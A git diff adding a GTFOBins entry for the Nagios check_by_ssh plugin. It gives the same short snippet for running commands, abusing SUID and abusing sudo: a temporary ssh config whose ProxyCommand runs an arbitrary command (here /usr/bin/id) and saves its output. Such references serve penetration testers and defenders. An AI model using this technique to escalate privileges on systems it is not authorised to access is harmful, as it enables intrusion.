diff --git a/_gtfobins/check_by_ssh.md b/_gtfobins/check_by_ssh.md
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--- /dev/null
+++ b/_gtfobins/check_by_ssh.md
@@ -0,0 +1,29 @@
+---
+description: |
+  This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
+functions:
+  command:
+    - code: |
+        COMMAND='/usr/bin/id'
+        OUTPUT="output_file"
+        TF=$(mktemp)
+        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
+        check_by_ssh -F "$TF" -H localhost -C something
+        cat $OUTPUT
+  suid:
+    - code: |
+        COMMAND='/usr/bin/id'
+        OUTPUT="output_file"
+        TF=$(mktemp)
+        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
+        check_by_ssh -F "$TF" -H localhost -C something
+        cat $OUTPUT
+  sudo:
+    - code: |
+        COMMAND='/usr/bin/id'
+        OUTPUT="output_file"
+        TF=$(mktemp)
+        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
+        check_by_ssh -F "$TF" -H localhost -C something
+        cat $OUTPUT
+---